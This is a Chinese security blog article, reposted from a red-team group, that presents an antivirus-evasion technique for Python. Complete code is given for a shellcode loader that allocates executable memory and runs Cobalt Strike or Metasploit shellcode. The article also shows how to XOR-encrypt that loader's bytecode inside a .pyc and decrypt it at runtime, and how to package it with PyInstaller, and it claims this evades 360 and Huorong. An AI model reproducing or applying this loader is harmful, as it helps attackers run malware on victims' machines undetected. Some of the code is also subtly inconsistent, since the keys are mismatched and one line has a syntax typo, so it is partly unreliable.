36x核x免杀之Python代码自修改技术

admin 2025-12-25 02:44:26 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文介绍了一种利用Python字节码自修改技术实现免杀的方法。通过加密.pyc文件中特定Loader函数的字节码,并在程序运行时动态解密执行,从而绕过杀软静态检测。实战中配合PyInstaller打包生成的exe,成功通过了360核晶和火绒等主流杀软的查杀,为红队对抗提供了有效的免杀思路。 综合评分: 87 文章分类: 免杀,红队,二进制安全


cover_image

36x核x免杀之Python代码自修改技术

原创

Anzi

ChaMd5安全团队

2025年12月24日 08:02 辽宁

招新小广告CTF组诚招web、re、crypto、pwn、misc、合约方向的师傅,长期招新IOT+Car+工控+样本分析多个组招人有意向的师傅请联系邮箱 [email protected](带上简历和想加入的小组)

灵感来自一道ctf python逆向题,通过对 .pyc 文件中特定函数的字节码进行加密,在程序运行之初再动态解密字节码,从而实现逃逸杀软的检测。

首先,样本的原始代码如下,Loader函数负责加载shellcode进内存并执行,这里可以使用cs或msf生成的shellcode。pycStuff.py内容如下:

import ctypes
import types

kernel32 = ctypes.windll.kernel32

def write_memory(buf):
    length = len(buf)

    kernel32.VirtualAlloc.restype = ctypes.c_void_p
    ptr = kernel32.VirtualAlloc(None, length, 0x3000, 0x40)

    kernel32.RtlMoveMemory.argtypes = (
        ctypes.c_void_p,
        ctypes.c_void_p,
        ctypes.c_size_t)
    kernel32.RtlMoveMemory(ptr, buf, length)
    return ptr

def stuff(object):
    buffer = ctypes.cast(id(object.__code__.co_code) + 32, ctypes.POINTER(ctypes.c_char))
    for i in range(len(object.__code__.co_code)):
        buffer[i] = buffer[i][0] ^ 0xDDBBAAFF12E0100 >> (i % 8) * 8 & 255
    return buffer

def stuff_and_reload(func_obj, key=0xDDBBAAFF12E0100):
    """解密并返回新的函数对象"""
    # 方法 1:通过 replace 创建新的代码对象
    old_code = func_obj.__code__.co_code

    # 解密字节码
    new_bytecode = bytearray()
    for i in range(len(old_code)):
        new_bytecode.append(old_code[i] ^ (key >> (i % 8) * 8 & 0xFF))

    # 创建新的代码对象
    new_code_obj = func_obj.__code__.replace(co_code=bytes(new_bytecode))

    # 创建新的函数对象
    new_func = types.FunctionType(
        new_code_obj,
        func_obj.__globals__,
        func_obj.__name__,
        func_obj.__defaults__,
        func_obj.__closure__
    )

    return new_func

def Loader():
    # stuff(write_memory)
    try:
        shellcode = b'shellcode'
        buf = ctypes.create_string_buffer(shellcode)
        ptr = write_memory(buf)
        shell_func = ctypes.cast(ptr, ctypes.CFUNCTYPE(None))
        shell_func()
    except Exception as e:
        print(f"Unexpected error: {e}")

if __name__ == '__main__':
    Loader = stuff_and_reload(Loader)
    # import inspect
    # source_code = inspect.getsource(Loader)
    # print(source_code)
    Loader()
    print("Hello world")

对pycStuff.py进行编译,获得pycStuff.pyc文件。

python -OO -m py_compile pycStuff.py

然后使用GeneratePycStuff.py文件对pycStuff.pyc文件中的loader函数的字节码进行加密并patch。GeneratePycStuff.py内容如下:

import marshal
import types
import struct
import sys

def read_pyc(filename):
    """读取 .pyc 文件"""
    with open(filename, 'rb') as f:
        # Python 3.7+ 的 .pyc 文件格式
        magic = f.read(4)  # Magic number
        flags = f.read(4)  # Flags (Python 3.7+)

        if sys.version_info >= (3, 7):
            timestamp = f.read(4)
            size = f.read(4)
        else:
            timestamp = f.read(4)
            size = None

        code_obj = marshal.load(f)

    return magic, flags, timestamp, size, code_obj

def write_pyc(filename, magic, flags, timestamp, size, code_obj):
    """写入 .pyc 文件"""
    with open(filename, 'wb') as f:
        f.write(magic)
        f.write(flags)
        f.write(timestamp)
        if size:
            f.write(size)
        marshal.dump(code_obj, f)

def encrypt_bytecode(bytecode, key=0xDDBBAAFF12E0100):
    result = bytearray()
    for i, b in enumerate(bytecode):
        xor_value = (key >> (i % 8) * 8) & 255
        result.append(b ^ xor_value)
    return bytes(result)

def decrypt_bytecode(bytecode, key=0xDDBBAAFF12E0100):
    result = bytearray()
    for i, b in enumerate(bytecode):
        xor_value = (key >> (i % 8) * 8) & 255
        result.append(b ^ xor_value)
    return bytes(result)

def modify_function_in_code(code_obj, func_name, encrypt=True, key=0x5A):
    """递归查找并修改指定函数的字节码"""

    # 检查当前代码对象的名称
    if code_obj.co_name == func_name:
        print(f"找到函数: {func_name}")

        if encrypt:
            new_code = encrypt_bytecode(code_obj.co_code, key)
            print(f"加密字节码: {len(new_code)} 字节")
        else:
            new_code = decrypt_bytecode(code_obj.co_code, key)
            print(f"解密字节码: {len(new_code)} 字节")

        # 创建新的代码对象
        new_code_obj = types.CodeType(
            code_obj.co_argcount,
            code_obj.co_posonlyargcount,  # Python 3.8+
            code_obj.co_kwonlyargcount,
            code_obj.co_nlocals,
            code_obj.co_stacksize,
            code_obj.co_flags,
            new_code,  # 替换字节码
            code_obj.co_consts,
            code_obj.co_names,
            code_obj.co_varnames,
            code_obj.co_filename,
            code_obj.co_name,
            code_obj.co_firstlineno,
            code_obj.co_lnotab,
            code_obj.co_freevars,
            code_obj.co_cellvars
        )
        return new_code_obj

    # 递归处理嵌套的代码对象
    new_consts = []
    modified = False

    for const in code_obj.co_consts:
        if isinstance(const, types.CodeType):
            new_const = modify_function_in_code(const, func_name, encrypt, key)
            new_consts.append(new_const)
            if new_const isnot const:
                modified = True
        else:
            new_consts.append(const)

    if modified:
        # 创建新的代码对象(保持字节码不变,但更新 consts)
        new_code_obj = types.CodeType(
            code_obj.co_argcount,
            code_obj.co_posonlyargcount,
            code_obj.co_kwonlyargcount,
            code_obj.co_nlocals,
            code_obj.co_stacksize,
            code_obj.co_flags,
            code_obj.co_code,
            tuple(new_consts),  # 更新常量
            code_obj.co_names,
            code_obj.co_varnames,
            code_obj.co_filename,
            code_obj.co_name,
            code_obj.co_firstlineno,
            code_obj.co_lnotab,
            code_obj.co_freevars,
            code_obj.co_cellvars
        )
        return new_code_obj

    return code_obj

def encrypt_function_in_pyc(input_pyc, output_pyc, func_name, key=0x5A):
    """加密 .pyc 文件中指定函数的字节码"""
    print(f"读取: {input_pyc}")
    magic, flags, timestamp, size, code_obj = read_pyc(input_pyc)

    print(f"查找函数: {func_name}")
    new_code_obj = modify_function_in_code(code_obj, func_name, encrypt=True, key=key)

    print(f"写入: {output_pyc}")
    write_pyc(output_pyc, magic, flags, timestamp, size, new_code_obj)

if __name__ == "__main__":
    # 加密指定函数
    encrypt_function_in_pyc('pycStuff.pyc', 'pycStuff_encrypted.pyc', 'Loader')

得到加密后的pycStuff_encrypted.pyc文件,通过pycdc查看加密后python字节码反编译后的结果。

可以发现Loader函数无法正常反编译,已被加密。

由于pyc文件部分字节码被加密,所以无法直接打包为exe文件,所以需要借助run_loader.py来加载。run_loader.py内容如下:

import sys
import os
import marshal
import types

def load_and_execute_pyc():
    """加载并执行加密的 .pyc 文件"""
    # 处理 PyInstaller 打包后的路径
    if getattr(sys, 'frozen', False):
        # 打包后运行
        base_path = sys._MEIPASS
    else:
        # 开发环境
        base_path = os.path.dirname(os.path.abspath(__file__))

    pyc_path = os.path.join(base_path, 'pycStuff_encrypted.pyc')

    # 检查文件是否存在
    if not os.path.exists(pyc_path):
        print(f"错误: 找不到文件 {pyc_path}")
        input("按回车键退出...")
        return

    try:
        # 读取 .pyc 文件
        with open(pyc_path, 'rb') as f:
            # 跳过 .pyc 文件头部
            magic = f.read(4)
            flags = f.read(4)
            timestamp = f.read(4)
            size = f.read(4)

            # 加载代码对象
            code_obj = marshal.load(f)

        # 执行代码(会自动解密 Loader 函数)
        exec(code_obj, {'__name__': '__main__', '__file__': pyc_path})

    except Exception as e:
        print(f"执行错误: {e}")
        import traceback
        traceback.print_exc()
        input("按回车键退出...")

if __name__ == '__main__':
    load_and_execute_pyc()

通过PyInstaller对run_loader.py文件进行打包获得MyLoader.exe。

python -m PyInstaller --onefile --noconsole --add-data "pycStuff_encrypted.pyc;." --hidden-import=ctypes --name=MyLoader run_loader.py

实测MyLoader.exe可以过360核晶和火绒等杀软环境。

结束

招新小广告

ChaMd5 Venom 招收大佬入圈

新成立组IOT+工控+样本分析 长期招新

欢迎联系[email protected]


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:ChaMd5安全团队 Anzi《36x核x免杀之Python代码自修改技术》

评论:0   参与:  3